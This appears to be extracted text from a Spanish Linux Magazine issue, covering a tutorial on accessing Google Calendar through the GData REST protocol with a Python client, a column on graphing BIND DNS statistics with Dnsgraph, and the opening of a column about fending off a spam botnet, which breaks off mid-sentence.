RSS 2.0. Además extiende el protocolo de publicación Atom (APP) para la realización de consultas parametrizadas. A diferencia del protocolo basado en SOAP, podremos consul-
52
Número 22
tar, crear, actualizar y eliminar diversos elementos de datos con los comandos simples de HTTP: GET, POST, PUT, DELETE. Esta manera de trabajar con servicios web no es nueva, ya que sigue los principios básicos de la arquitectura REST (ver Tabla GData y REST). Además este sistema está siendo aplicado con éxito en la creación de otros servicios web de empresas tales como Amazon, eBay, Yahoo! y más recientemente en Flickr y Youtube. Una ventaja frente a la aproximación SOAP, además de su simplicidad e inmediatez, es su baja latencia. Al disminuir la complejidad del sistema y eliminar datos redundantes logramos disminuir el tiempo entre la petición del servicio y la respuesta generada. Google utiliza este mismo API para acceder a múltiples servicios[4], entre los que se cuentan Blogger, Google Calendar y Google BaseData. En este artículo nos centraremos en Google Calendar[5]. Aunque es posible acceder a toda la funcionalidad desde cualquier lenguaje de programación de manera directa, los desarrolladores de Google proporcionan librerías en Java, .NET, y dentro del proyecto Zend Framework encontramos una versión de la librería en PHP. No hay ninguna versión para Python, así que vamos a plantear a lo largo de este artículo las bases para un futuro proyecto que denominaremos PyGData[6].
Enigma Si tenemos una cuenta en Google Mail, ya podemos acceder al calendario desde el pequeño menú de la esquina superior izquierda del interfaz Gmail. También podemos entrar directamente visitando la web del proyecto[7]. Dar de alta un evento, asignar una visibilidad (evento público o evento privado), añadir un comentario o asignar una periodicidad y una alarma de avisos al evento son cosas sencillas de hacer desde el mismo interfaz web de la herramienta. Otras cosas que podemos hacer es la de realizar búsque-
WWW.LINUX- MAGAZINE.ES
das de texto libre por todos los eventos del calendario y recolocarlo en otro día o cambiar la duración del evento mediante el uso del ratón, como buena aplicación AJAX que es. Pero lo interesante no es sólo tener este interfaz de acceso, sino poder comprobar que podemos acceder a toda esta funcionalidad desde la línea de comandos. Para ello necesitamos previamente encontrar una URL que identifique de manera única a nuestro calendario. Si pulsamos sobre la flechita asociada al calendario en la lista de calendarios situada en la columna de la izquierda, veremos un desplegable que nos permite realizar acciones de configuración, creación de eventos y cambio de colores de los eventos. Deberemos seleccionar la entrada que pone “Configuración del calendario”. En el formulario que aparece ahora pulsamos sobre el botón naranja etiquetado ‘XML’ de la sección ‘Dirección privada’ al final del mismo. Ahora aparecerá una URL que debemos copiar. Esta URL tiene el siguiente formato: http://www.google.com/calendar/U feeds/<I>email<I>/private-U <I>magicCookie<I>/basic
En el campo email aparece nuestra cuenta Gmail y en magicCookie una cadena alfanumérica secreta que podemos regenerar (en el caso de que quede descubierta por descuido) desde el enlace ‘Restablecer URL privada’ situado cerca del botón anterior. Con esta URL podremos acceder, en modo de solo lectura, a la lista de eventos del calendario con un simple wget URL. Si lo hacemos obtendremos algo parecido a lo mostrado en el Listado 1. Es un documento XML en formato Atom[8] que contiene una entrada (tag entry) por cada evento del repositorio. Además se indica el identificador del calendario (primer campo id no asociado a ninguna entrada), el dueño del mismo (¿adivinan qué tag tiene esa información?) y, para cada entrada de calendario, el
GData • DESARROLLO
título y descripción del evento. Por último, si cambiamos en la URL de acceso anterior la palabra basic por full y volvemos a realizar una petición con wget obtendremos una versión extendida del mismo documento de listado de eventos.. En ella aparecerán nuevos campos que hasta ahora han quedado ocultos, como por ejemplo la referencia (otra URL) a los comentarios asociados a cada uno de los eventos. Esta consulta se puede parametrizar. Así, si queremos obtener una lista de eventos para un rango de tiempo dado podemos añadir dos parámetros a la URL: start-min y start-max. Por ejemplo, para saber los eventos que me esperan durante la semana del 06/11/2006, tengo que preparar una consulta del siguiente tipo: http://www.google.com/U calendar/feeds/<I>email<I>/U private-<I>magicCookie<I>/U basic?start-min=2006-11-U
06T00:00:00&start-max=U 2006-11-10T23:59:59
Las fechas y horas siguen el formato ISO. El resultado de la consulta mantendrá la misma estructura que la anterior. En ambas consultas el resultado viene ordenado por la fecha de actualización, de modo que si queremos ordenar por la fecha de suceso del evento (algo natural en la realización de un informe) deberemos añadir otro parámetro más al final de la URL: orderby=starttime. Siendo Google una empresa que ha creado un buscador (vale, ‘el buscador’) no puede faltar la funcionalidad de búsqueda de eventos por palabras. Los parámetros de la consulta los indicamos con el parámetro q=palabra1+palabra2. De esta manera se realizarán búsquedas con esas dos palabras por todo el texto del evento y descargará un listado con aquéllos que contengan ambas coincidencias. Si usamos las dobles comillas (“) indicaremos una búsqueda exacta, y si ponemos por delante de la palabra un guión (-) excluiremos los eventos que con-
tengan la palabra prefijada. Podemos establecer un limitador de coincidencias descargadas con el parámetro max-results, que por defecto vale 25. Para poder ir paginando las consultas deberemos hacer uso de start-index. Como hemos podido ver, el procedimiento para acceder a Google Calendar es sencillo. Con el protocolo GData es suficiente con enviar el comando GET de HTTP a una URL que representa un repositorio o fuente de datos. Así obtendremos un documento Atom que representa a este repositorio de datos o a un recurso determinado (p.ej, un evento), y eso es todo (o casi) , ya que es en esta sencillez donde radica el principal atractivo de la arquitectura REST. Pero es verdad que no podemos hacer muchas más cosas con nuestro calendario si antes no nos autentificamos. La URL que hemos localizado al principio del artículo no es suficiente para poder crear nuevos eventos, modificar o eliminar los ya existentes. Deberemos realizar dos pasos para autentificarnos. El primer paso es transformar la URL de acceso: deberemos eliminar el resu-
Listado 1: Extracto XML 01 <?xml version=’1.0’ encoding=’utf-8’?> 02 <feed xmlns= ’http://www.w3.org/2005/Atom’ 03 xmlns:openSearch= ’http://a9.com/-/spec/opensearch rss/1.0/’ 04 xmlns:gd= ’http://schemas.google.com/g/200 5’ 05 xmlns:gCal= ’http://schemas.google.com/gCal/ 2005’> 06 <id> 07 http://www.google.com/ calendar/feeds/aplanas@gmail.com /private-<I>magicCookie<I>/basic </id> 08 <updated>2006-11-07T12:05: 21.000Z</updated> 09 <title type=’text’>Alberto Planas</title> 10 <subtitle type=’text’> Alberto Planas</subtitle> 11 <link rel=’http://schemas. google.com/g/2005#feed’ 12 type=’application/atom+xml’ 13 href=’http://www.google.com/ calendar/feeds/aplanas@gmail.com /private-<I>magicCookie<I>/basic ’> 14 </link> 15 <link rel=’self’ type=’application/atom+xml’ 16 href=’http://www.google.com/
calendar/feeds/aplanas@gmail.com /private-<I>magicCookie<I>/basic ?max-results=25’> 17 </link> 18 <author> 19 <name>Alberto Planas</name> 20 <email>aplanas@gmail.com</email> 21 </author> 22 <generator version=’1.0’ uri=’http://www.google.com/calen dar’> 23 Google Calendar</generator> 24 <openSearch:startIndex>1 </openSearch:startIndex> 25 <openSearch:itemsPerPage>25 </openSearch:itemsPerPage> 26 <gCal:timezone value=’Europe /Madrid’></gCal:timezone> 27 <entry> 28 <id> 29 http://www.google.com/ calendar/feeds/aplanas@gmail.com /private-<I>magicCookie<I>/basic /<I>entryID<I></id> 30 <published>2006-11-07T06: 13:31.000Z</published> 31 <updated>2006-11-07T06: 13:37.000Z</updated> 32 <category scheme=’http://sch emas.google.com/g/2005#kind’ 33 term=’http://schemas.google. com/g/2005#event’></category> 34 <title type=’text’>Reunión con empresa Exp.#299</title>
WWW.LINUX- MAGAZINE.ES
35 36 37 38 39 40 41 42
43 44 45
46 47 48 49 50 51 52 53 54
<summary type=’html’>Cuándo: del mar 7 de nov de 2006 11:00 al 14:30& CET <br><br>Dónde: Antequera</summary> <content type=’text’>Cuándo: del mar 7 de nov de 2006 11:00 al 14:30& CET <br><br>Dónde: Antequera <br>Descripción del evento: Reunión con la empresa con Exp. #299 para el proyecto N.P.</content> <link rel=’alternate’ type=’text/html’ href=’http://www.google.com/ calendar/event?eid=<I>eventID<I> ’ title=’alternate’></link> <link rel=’self’ type=’application/atom+xml’ href=’http://www.google.com/ calendar/feeds/aplanas@gmail.com /private-<I>magicCookie<I>/basic /<I>entryID<I>’> </link> <author> <name>Alberto Planas</name> <email>aplanas@gmail.com </email> </author> <gCal:sendEventNotifications value=’false’> </gCal:sendEventNotifications> </entry> </feed>
Número 22
53
DESARROLLO • GData
men magicCookie de la URL hasta dejarlo como sigue: <U>http://www.google.com/U calendar/feeds/<I>email<I>/U private/full<U>
También vale si en la URL anterior usamos la versión basic en vez de la full. El segundo paso es algo más complejo: tenemos que autentificar la sesión frente a Google. Hay dos procedimientos para hacer esto dependiendo de si la aplicación que se va a autentificar es de escritorio o un desarrollo Web. En la primera opción, la aplicación debe consultar directamente del usuario la cuenta Gmail y la contraseña de la cuenta. Este es un método que puede ser seguro para aplicaciones de escritorio, pero nefasto si la aplicación es vía web (¿quién piensa poner su contraseña de correo en un formulario web de otra aplicación diferente a Gmail?) . La segunda opción de autentificación está especialmente diseñada para aplicaciones web. En ella no introducimos la contraseña en ningún formulario de la aplicacion web, sino que esta aplicación nos redirige a un formulario de Google donde nosotros procedemos a identificarnos. Si la identificación es correcta seremos redirigidos a una URL de la aplicación web solicitante. Vamos a usar la primera técnica, denominada ClientLogin API[9]. Para ello tendremos que enviar el comando HTTP POST con una serie de parámetros de formulario (que corresponden con el Content-Type de tipo application/xwww-form-urlencoded a la siguiente URL: https://www.google.com/U accounts/<I>ClientLogin<I>
Los parámetros que debemos pasar por POST son: •Email: cuenta Gmail del usuario. •Passwd: contraseña de la cuenta. •source: identificador de la aplicación. •service: texto ‘cl’ para identificar el servicio de calendario. El campo source debe seguir el siguiente patrón: nombreDeLaCompañía-nombreDeLaAplicación-versión. Si hay algún error en el procedimiento de autentificación el sistema devolverá el código HTTP 403 para indicar que el acceso queda denegado. El usar códigos de error para devolver el resultado de una operación es algo que veremos con frecuencia en el protocolo GData. Se hace un uso intensivo de códigos que representan una redirección, una prohibición, o cuando todo sale correctamente (incluido el proceso de autenti-
54
Número 22
ficación), un código HTTP 200 OK. En este caso, además del código 200, devolverá varias líneas de texto. Cada línea es del tipo ‘clave’ = ‘valor’. Necesitamos obtener el valor asociado a la clave Auth puesto que es una cadena de texto que deberemos entregar como testigo de una correcta identificación en aquellas operaciones que cambien el estado del calendario, y que requieran de una autorización. En el Listado 2 podemos encontrar un procedimiento para extraer esta variable dentro del método client_login() de la clase GData.
¡Fuego! Una vez autentificados Google Calendar nos dejará crear eventos de calendario mediante un POST a la URL transformada, o si sólo tenemos un calendario también podemos hacer uso de la siguiente URL: http://www.google.com/U calendar/feeds/default/U private/full
Deberemos completar este POST añadiendo una cabecera HTTP de autorización, formada de la siguiente manera: Authorization: GoogleLoginU auth=<I>Auth<I>
Es ahí donde debemos colocar el token que se nos entregó durante el proceso de autentificación anterior. Tenemos que completar la cabecera estableciendo un Conten-Type de tipo application/atom+xml, puesto que lo que vamos a transmitir es un documento XML Atom. Tras la realización del POST, Google Calendar deberá retornar un código HTTP 302 de redirección. Esto es así porque aprovecha para cambiar la URL que establecimos en el POST, añadiendo un parámetro adicional. Se trata del identificador de sesión gsessionid. Así pues deberemos relanzar otra vez el POST, con las mismas cabeceras HTTP, el mismo documento XML Atom, pero ahora a la nueva URL completada durante el proceso de redirección. Si finalmente el proceso de creación de eventos termina adecuadamente, recibiremos un código HTTP 201 para indicar su creación y una versión del documento que enviamos al que se le han añadido algunos tags nuevos. Hay varios tipos de documentos XML Atom que podemos enviar por medio de GData [10]. El principal tipo que debemos usar para ponernos en contacto con Google Calendar es el tipo evento. Un ejemplo de un evento lo podemos ven en el Listado 3. Cada docu-
WWW.LINUX- MAGAZINE.ES
mento Atom XML tiene una raíz de tipo entry, en él se declaran los distintos espacios de nombre (xmlns), tanto de Atom como de GData, de esta manera podemos utilizar nuevos tags extendidos que no pertenecen a la especificación Atom. Estos nuevos tags exclusivos de GData son los del tipo <gd >. Para indicar que estamos ante una entrada de tipo evento hacemos uso del tag category indicando en el atributo term la URL http:// schemas.google.com/g/2005#event. El resto de los tags son más o menos autodescriptivos: con title establecemos el texto publicado en el evento que aparece en la vista de calendario, en el content hacemos una descripción más detallada del evento. El tag author contiene el nombre y email del creador del evento (que puede ser diferente al dueño del calendario). Si el tag <gd:transparency> tiene el valor http://schemas.google.com/g/2005#event. opaque estaremos indicando que el evento va a consumir tiempo en el calendario, va a ser un tiempo marcado como ‘ocupado’. Con <gd:eventStatus> podemos indicar si el evento ha sido confirmado o no, o si ha sido cancelado. Los valores de visibilidad (evento privado / evento público) se establecen por medio del tag <gd:visibility>. Podemos indicar el lugar donde se va a producir el evento, dónde se espera poder encontrar aparcamiento (curioso, ¿no?) y una localización alternativa para la realización del evento. Para ello usamos el tag <gd:where> poniendo lo que queremos describir en el parámetro value y un texto libre en el campo valueString. Para indicar varios tipos de localizaciones las pondremos una detrás de la otra. Y, naturalmente, podemos establecer una fecha y duración del evento usando <gd:when>. Hay más tags que describen otros componentes que constituyen un evento, como la repetición del evento, un enlace a comentarios asociados o el conjunto de personas relacionadas con el mismo. Este mismo procedimiento de autentificación puede ser usado para listar los calendarios disponibles por el usuario (podemos crear y eliminar calendarios desde la interfaz web). Tenemos que enviar el comando HTTP GET a la URL siguiente (sustituyendo el campo email por la cuenta Gmail del usuario): https://www.google.com/U calendar/feeds/<I>email<I>
Naturalmente hay que poner la misma cabecera de autentificación para lograr pasar el parámetro Auth. Un ejemplo de todo el proceso lo tenemos en el método list_calendars del Listado 2.
GData • DESARROLLO
Nueva Orden Los eventos conseguidos tras una consulta contienen más campos de los que pusimos en nuestro documento XML Atom. El campo id
contiene una URL que referencia de manera única al evento. Además, hay varios campos de tipo link, cada uno con un parámetro rel diferente. Si el valor de rel es self veremos que la URL asociada al parámetro href del tag de
enlace coincide exactamente con el identificador del evento. Podemos usar esta dirección para obtener una copia del objeto por medio del, ya explicado, comando HTTP GET. El enlace que tiene un valor para rel=’alternate’
Listado 2:PyGData.py 001 002 003 004 005 006 007 008 009 010
011 012
013
014
015 016 017 018 019 020 021 022 023 024
025 026 027 028
#! /usr/bin/env python # -*- coding: UTF-8 -*import urllib import urllib2 class LoginError(Exception): pass class GDataRedirectHandler(urllib2.HTTP RedirectHandler): “”” Recuperamos los datos enviados antes de la redirección y los volvemos a enviar incluyendo esta vez el parámetro gsessionid. El código, por tanto, es idéntico al de la clase HTTRedirectHandler, excepto que esta vez sí retomo los datos del POST. “”” def redirect_request(self, req, fp, code, msg, headers, newurl): print req.get_data() m = req.get_method() if (code in (301, 302, 303, 307) and m in (“GET”, “HEAD”) or code in (301, 302, 303) and m == “POST”): return urllib2.Request(newurl, headers=req.headers, origin_req_host=req.get_origin_re q_host(), unverifiable=True, data=req.get_data()) else: raise HTTPError(req.get_full_url(), code, msg, headers, fp)
029 030 031 class GData(object): 032 login_url = ‘https://www.google.com/accounts/ ClientLogin’ 033 calendar_url = ‘https://www.google.com/calendar/ feeds/’ 034 feed_url = calendar_url + ‘default/private/full’ 035 036 def __init__(self, email, passwd, source=’apd-pygdata-0’):
037 self.email = email 038 self.passwd = passwd 039 self.source = source 040 041 042 def client_login(self): 043 “”” 044 Hace uso del método ClientLogin para identificarse. 045 “”” 046 params = urllib.urlencode({‘Email’: self.email, 047 ‘Passwd’: self.passwd, 048 ‘source’: self.source, 049 ‘service’: ‘cl’}) 050 try: 051 f = urllib2.urlopen(self.login_url, params) 052 for line in f: 053 if line.startswith(‘Auth’): 054 return line.split(‘=’)[1] 055 except urllib2.HTTPError: 056 raise LoginError(‘Error de autentificación’) 057 058 def write_entry(self, entry): 059 id = self.client_login() 060 if id: 061 r = urllib2.Request(url=self.feed_url , data=entry) 062 r.add_header(‘Authorization’, ‘GoogleLogin auth=%s’%id) 063 r.add_header(‘Content-Type’, ‘application/atom+xml’) 064 opener = urllib2.build_opener(GDataRedirec tHandler()) 065 f = opener.open(r) 066 print f.info() 067 print ‘-’ * 80 068 print f.read() 069 070 071 def list_calendars(self): 072 id = self.client_login() 073 if id: 074 r = urllib2.Request(url=self.calendar _url + self.email) 075 r.add_header(‘Authorization’, ‘GoogleLogin auth=%s’%id) 076 opener = urllib2.build_opener(GDataRedirec tHandler()) 077 f = opener.open(r)
WWW.LINUX- MAGAZINE.ES
078 print f.info() 079 print ‘-’ * 80 080 print f.read() 081 082 083 def list_entry(self): 084 id = self.client_login() 085 if id: 086 r = urllib2.Request(url=self.feed_url ) 087 r.add_header(‘Authorization’, ‘GoogleLogin auth=%s’%id) 088 opener = urllib2.build_opener(GDataRedirec tHandler()) 089 f = opener.open(r) 090 print f.info() 091 print ‘-’ * 80 092 print f.read() 093 094 095 def update_entry(self, eid, entry): 096 id = self.client_login() 097 if id: 098 r = urllib2.Request(url=eid, data=entry) 099 r.add_header(‘Authorization’,‘Goo gleLogin auth=%s’%id) 100 r.add_header(‘Content-Type’, ‘application/atom+xml’) 101 r.add_header(‘X-HTTP-Method-Overr ide’, ‘PUT’) 102 opener = urllib2.build_opener(GDataRedirec tHandler()) 103 f = opener.open(r) 104 105 106 def delete_entry(self, eid): 107 id = self.client_login() 108 if id: 109 r = urllib2.Request(url=eid, data=’’) 110 r.add_header(‘Authorization’, ‘GoogleLogin auth=%s’%id) 111 r.add_header(‘X-HTTP-Method-Overr ide’, ‘DELETE’) 112 opener = urllib2.build_opener(GDataRed irectHandler()) 113 f = opener.open(r)
Número 22
55
DESARROLLO • GData
Listado 3: Evento Atom XML 01 <entry xmlns=’http://www.w3.org/2005/ Atom’ 02 xmlns:gd=’http://schemas.googl e.com/g/2005’> 03 <category scheme=’http://schemas.google. com/g/2005#kind’ 04 term=’http://schemas.google.co m/g/2005#event’></category> 05 <title type=’text’>Comida LiMa</title> 06 <content type=’text’>Lasaña con los socios de LiMa</content> 07 <author>
contiene una URL a un documento HTML normal y corriente, que muestra el contenido de los distintos campos de este evento. Podemos comprobarlo copiando y pegando esa dirección en nuestro navegador. Cuando rel=’edit’, la URL asociada tiene una utilidad muy interesante. Esta URL es igual a la del enlace de tipo self pero que tiene añadido un número largo al final de la misma. Este número es un identificador de versión del evento, y se utiliza para lograr un acceso concurrente al mismo desde varias aplicaciones sin que exista riesgo de colisiones entre las mismas. Con esta URL extendida podremos realizar las operaciones de borrado y actualización del evento. Por tanto, necesitaremos consultar este valor dentro del documento XML de un evento dado antes de proceder a su eliminado o modificación. Eliminar un evento es sencillo. Es suficiente con enviar el comando HTTP DELETE a la URL almacenada en el enlace de tipo edit con la cabecera de autorización de Google, y tratar su correspondiente redirección por medio del código HTTP 302. Ya está. Los problemas aparecen cuando estamos conectados por medio de algún proxy que no acepte, por razones de seguridad, comandos HTTP diferentes de GET y POST. En estos casos Google proporciona la siguiente alternativa. Emitimos un comando POST con un valor para la cabecera ‘ContentLength’ de 0 y, finalmente, creamos un nuevo campo en la cabecera HTTP de tipo ‘X-HTTPMethod-Override’ con el valor de la operación que deseamos realizar (en este caso ‘DELETE’). Esta técnica se puede utilizar también para la actualización de un evento. La manera natural pasa por emitir un comando
56
Número 22
08 09
<name>aplanas</name>
<email>aplanas@gmail.com</emai l> 10 </author> 11 <gd:transparency 12 value=’http://schemas.google.c om/g/2005#event.opaque’ /> 13 <gd:eventStatus 14 value=’http://schemas.google.c om/g/2005#event.tentative’ /> 15 <gd:where 16 value=’http://schemas.google.c om/g/2005#event’ 17 valueString=’La Caprichosa,
HTTP PUT sobre la dirección URL del enlace de edición, pero si estamos delante de uno de estos proxys podremos emitir un comando POST e indicar la operación PUT dentro de la cabecera ‘X-HTTP-Method-Override’. Hay que tener cuidado en un aspecto. Para la modificación del evento hay que enviar el XML con todos los campos originales del mismo, no sólo los que van a ser modificados. Un ejemplo del procedimiento de comunicación HTTP por medio de la cabecera ‘X-HTTP-MethodOverride’ lo podemos encontrar en los métodos update_entry() y delete_entry() del Listado 2.
Victoria La alternativa a SOAP que propone GData y su arquitectura basada en REST suponen una clara simplificación en el acceso a servicios web. Con un simple wget podemos empezar a realizar scripts bash, python o perl para el acceso a dichos servicios, sin necesidad de depender de ninguna librería externa. Para los accesos autentificados necesitamos crear nuevas cabeceras HTTP, pero hasta con aplicaciones en línea de comando como curl, y mediante el uso del parámetro -d para el envío de parámetros de formulario, y de -H para la inserción de nuevas entradas de cabecera, podremos tener acceso a toda la funcionalidad que proporciona el protocolo GData. Naturalmente todo el proceso se simplifica si tenemos la oportunidad de hacer uso de algún lenguaje más sencillo que bash. Los trozos de código mostrados en el Listado 2 pueden ser el germen del proyecto
WWW.LINUX- MAGAZINE.ES
18 19
Campanillas’ /> <gd:where
value=’http://schemas.google.c om/g/2005#event.parking’ 20 valueString=’Campanillas’ /> 21 <gd:when 22 startTime=’2006-11-10T14:30:00 .000Z’ 23 endTime=’2006-11-10T15:30:00.0 00Z’ 24 valueString=’Cuando siempre’ /> 25 </entry>
PyGData para el acceso al protocolo GData desde Python. De hecho, la complejidad de un proyecto como éste no está en la implementación del protocolo, sino en el API que se ha de proporcionar para la construcción de los documentos XML Atom. Y es precisamente en lo que estoy trabajando ahora mismo ¿me ayu■ das?
RECURSOS [1] Google SOAP Search API: http://code. google.com/apis/soapsearch/ [2] PyGoogle: http://pygoogle. sourceforge.net [3] Dive Into Python: http://www. diveintopython.org [4] APIs de Google: http://code.google. com/apis.html [5] API de Calendar: http://code.google. com/apis/gdata/calendar.html [6] PyGData: http://code.google.com/p/ pygdata [7] Google Calendar: http://www.google. com/calendar/ [8] Formato Atom: http://tools.ietf.org/ html/rfc4287 [9] ClientLogin API: http://code.google. com/apis/accounts/ AuthForInstalledApps.html [10] Tipos de documentos: http://code. google.com/apis/gdata/ common-elements.html [11] Roy T. Fielding: :http://www.ics.uci. edu/~fielding/ [12] GData: http://code.google.com/apis/ gdata/overview.html
La Columna de Charly • ADMINISTRACIÓN
El Día a Día del Administrador de Sistemas: Dnsgraph
GRÁFICOS MAESTROS Un servidor DNS sobrecargado puede retrasar todos los puestos de trabajo de una red. Dnsgraph es un sistema de aviso que proporciona a los administradores un gráfico de valores críticos. Sus diagramas le ayudarán a tener a punto sus sistemas servidores de nombres. POR CHARLY KÜHNAST
Listado 1: Añadir a named.conf 01 key “rndc-key” { 02 algorithm hmac-md5; 03 secret “<I>secretpassword<I>” 04 }; 05 06 controls { 07 inet 127.0.0.1 port 953 08 allow { 127.0.0.1; } keys { “rndc-key”; }; 09 };
SYSADMIN El Ataque de los Bots . . . . . . . . . .58 Aprenda cómo Charly se enfrenta a un spamming botnet sin escrúpulos. Apache ModSecurity . . . . . . . . . . 60 ModSecurity es un cortafuegos integrado para los servidores web Apache.
en Mailgraph. La herramienta analiza un fichero de información generada por mi servidor DNS Bind 9 [2] y convierte las cifras en gráficos. Para acceder a la información utilizo Rndc, un programa de control del paquete Bind que me permite enviar comandos firmados digitalmente al servidor de nombres. Esto me proporciona la habilidad de decirle al servidor que escriba la información de estado en un fichero, que Dnsgraph puede procesar posteriormente. También necesito la herramienta RRD y el módulo Perl File::Tail.
Tiempo de Configuración Mi fichero de configuración Bind, named.conf, también tiene una sección de options, como es típicamente el caso. He añadido la siguiente línea: statistics-file “/path_toU /named-stats.log”;
y luego los bloques del Listado 1 permiten la comunicaciones Rndc. Como contrapunto, el Listado 2 pertenece al fichero de configuración de Rndc, normalmente
Listado 2: Configuración Rndc 01 key “rndc-key2” { 02 algorithm hmac-md5; 03 secret “<I>secretpassword<I>”; 04 }; 05 06 options { 07 default-key “rndc-key”; 08 default-server 127.0.0.1; 09 default-port 953; 10 };
WWW.LINUX-MAGAZINE.ES
/etc/rndc.conf. Esto permite a Rndc pasar comandos a Bind. El siguiente comando: rndc stats
le indica a Bind que cree el fichero de registros previamente configurado y añada alguna información.
Adaptación de Scripts a Dnsgraph Necesito añadir la ruta al fichero de registros o a RRD para dnsanalise.pl y dnsreport.pl. En dnsgraph.pl, he de modificar la ruta de salida (TARGET) y la ruta a los scripts de Dnsgraph. La configuración final hace referencia a los ficheros del cron. El paquete viene con un fichero de ejemplo del dnsgraph.cron, por lo que tendré que modificar la ruta de entrada para que coincida con la de mi entorno. El paso final es lanzar el proceso de evaluación. Quince minutos después, la herramienta RRD me proporciona los resultados I (Figura 1).
RECURSOS [1] Dnsgraph: dnsgraph.sourceforge.net [2] Bind: http://www.isc.org/index.pl?/sw/ bind/
EL AUTOR
R
ecientemente he oído hablar sobre un tipo con mucha memoria que podía recordar el valor de pi hasta varios miles de cifras decimales; al mismo tiempo, este hombre no podía explicar el valor práctico de este ejercicio. Personas como ésta no necesitan un servidor DNS; podrían memorizar algunos miles de direcciones IPs, al contrario que la gente normal, que prefiere el DNS. Si tú mismo llevas un servicio de resolución de nombres, estoy seguro de que apreciarás Dnsgraph [1]. El nombre del proyecto es muy parecido al de otros, como Mailgraph y Queuegraph, estando actualmente basado
Figura 1: Los administradores que ejecutan un servidor Bind apreciarán cualquier información que Dnsgraph les proporcione.
Charly Kühnast es Gerente de Sistemas Unix en el centro de datos de Moers, Alemania, cerca del conocido Rhin. Entre sus labores se incluye la seguridad del cortafuegos, la disponibilidad y cuidado de la DMZ (zona desmilitarizada).
Número 22
57
ADMINISTRACIÓN • Bot Attack
Una insidiosa red de bots spammers ataca a Charly
BOT ATTACK Mientras realizaba sus tareas habituales, el colaborador de Linux Magazine, Charly Kühnast fue víctima de un malvado ataque. Su servidor antispam, ubicado como defensa ante su servidor de correo, le salvó de la avalancha de emails. POR CHARLY KÜHNAST
E
ra un martes soleado de julio. Estaba tranquilamente escribiendo mi columna Sysadmin para Linux Magazine. Son las 2:00 pm cuando le hecho un vistazo al monitor que me ofrece la última información de la carga y el tráfico de datos de los servidores sensibles que administro. De buenas a primeras, la línea de la gráfica de rechazo del filtro de spam se disparó (véase la Figura 1). El artículo tendrá que esperar. El servidor estaba rechazando grandes cantidades de correos en una etapa temprana del diálogo SMTP. Sospeché de una ola de spam con direcciones falsificadas. Eso no es nada nuevo, por cada email legítimo que recibo, tengo como mínimo dos mails de spam. Pero aún así decidí abrir una conexión SSH al filtro antispam, que se ejecuta en otra máquina, y no podía dar crédito cuando descubrí 140 conexiones SMTP paralelas. Eso es unas diez veces el nivel habitual. Y es raro que el servidor simplemente ignore las conexiones de esa manera. La curiosidad saca lo mejor de mí mismo, y decidí echarle un vistazo al archivo de logs. Como me esperaba, cada mensaje provenía de una fuente distinta. Dos tercios de las direcciones IP pertenecían a proveedores de acceso de Europa, y el resto de EEUU y Brasil. Los ordenadores proporcionaban amablemente sus nombres en el mensaje HELO, y ni siquiera parecía que fuera spoofing, lo cual es realmente raro, ya que los HELOs falsificados son la norma en spam.
Los Atacantes son Víctimas Lancé un nmap y escaneé algunos puertos. También ejecuté nmap con —osscan-guess para descubrir los sistemas operativos de las máquinas spammers. Lo que quería saber era si eran relays abiertos, máquinas secuestradas, servidores de correo mal configurados, servidores Web infectados o simplemente ordenadores de usuarios con troyanos. La respuesta de nmap fue clara: esta última opción. Las máquinas que investigué funcionaban todas bajo Windows XP, y nadie usa Windows XP como servidor Web o de correo. Acababa de conocer en mis carnes lo que es una red de bots. Una red de bots es un grupo de máquinas independientes con una cosa en común: el malware que los ha infectado permite a un hacker controlarlos desde una ubicación remota. A los ordenadores de una red de bots se les denomina habitualmente leafbots o zombies. Considerado individualmente, un zombie no es demasiado dañino, pero juntos pueden convertirse en un arma peligrosa.
58
Número 22
WWW.LINUX-MAGAZINE.ES
Bot Attack • ADMINISTRACIÓN
Afortunadamente la red de bots que me atacaba parecía tener apenas 200 máquinas.
Unas Palabras de Nuestros Patrocinadores Aún no había podido volver a ponerme a terminar el artículo para Linux Magazine, pues los intervalos en los que llegaba el spam se estaban haciendo cada vez más cortos. Como había restringido el número de procesos SMTP simultáneos, existía el peligro de que los correos auténticos no entrasen debido a la falta de recursos para atenderlos. Le eché un vistazo a la carga del sistema: el filtro antispam aún tenía algo de margen. Eliminé el límite, y la red de bots pisó a fondo el acelerador: unos minutos más tarde ya tenía 580 conexiones SMTP simultáneas (véase la Figura 2). De algún modo estos correos estaban superando mi graylist. El graylist le indica al servidor que rechaze un correo con un mensaje de error (450 please try later) y que acepte los correos al segundo intento. Nótese que las redes de spam no tienen normalmente una cola para guardar correo no entregado temporalmente hasta un nuevo intento. Parece que el graylistening se ha convertido en algo tan común que los spammers han empezado a pensar en cómo saltárselo. El Listado 1 muestra el efecto que tuvo en mi sitio. La línea 1 del archivo de log muestra cómo un zombie se conecta a mi servidor. greylist=update en la línea 2 muestra al zombie intentándolo por segunda vez tras el rechazo inicial de mi servidor con un mensaje de error.
Verificación de la Dirección del Remitente Volvamos al log: el remitente infinito es siempre el mismo, esto es, <>, remitente nulo. La ventaja de esta dirección de remitente para el spammer es que cualquier servidor de correo que cumpla el RFC lo aceptará. Y muchas medidas antispam que confían en verificar la dirección del remitente, como el SAV (Sender Address Verification), son inútiles si tenemos un remitente nulo. Pero las direcciones de destinatario que enviaba la red de bots eran incluso más interesantes: ninguna existía, y todas ellas eran palabras de algún dialecto Coptic ya extinto, o más bien eran cadenas generadas aleatoriamente. Esto explica por qué el filtro antispam descartaba los correos antes de que el diálogo SMTP llegase a la fase del comando DATA. El filtro lleva a cabo el Recipient Address Verification, que es el complemento al SAV.
El Recipient Address Verification se basa en un sencillo principio: si el servidor de entrega cita la dirección de destinatario en RCPT TO:, el filtro antispam verifica primero a dónde tiene que llegar el correo, es decir, a mi servidor de correo (mail.kuehFigura 1: La línea de rechazo en la gráfica del filtro nast.com en la línea 3 del Listado 1). antispam se dispara de repente. Estaba siendo ataAbre un diálogo SMTP y verifica la cado por un ejército de spambots. respuesta a RCPT TO:. Esta es user unknown en el caso de los zombies. Esto causa que el filtro antispam finalice el diálogo (línea 4), lo que se refleja en la multitud de rechazos en la gráfica. Ahora comenzaba a comprender por qué el filtro antispam estaba relaFigura 2: Tras eliminar el límite SMTP, los zombies tivamente tranquilo, aunque tenía en intensificaron el ataque al servidor. loadavg marca marcha 500 procesos SMTP. Nin0.3 y todo está correcto. guno de estos procesos realmente conseguía entregar un correo, ya que el ReciGIF o PDF. O los habituales anuncios de pient Address Verification los estaba bloayudas para la erección, fiestas con drogas queando antes de esa etapa. Si hubiese alio aumentos de pecho (desafortunadamentado a Spamassassin con estos correos mente, parece que nadie ha descubierto el antes 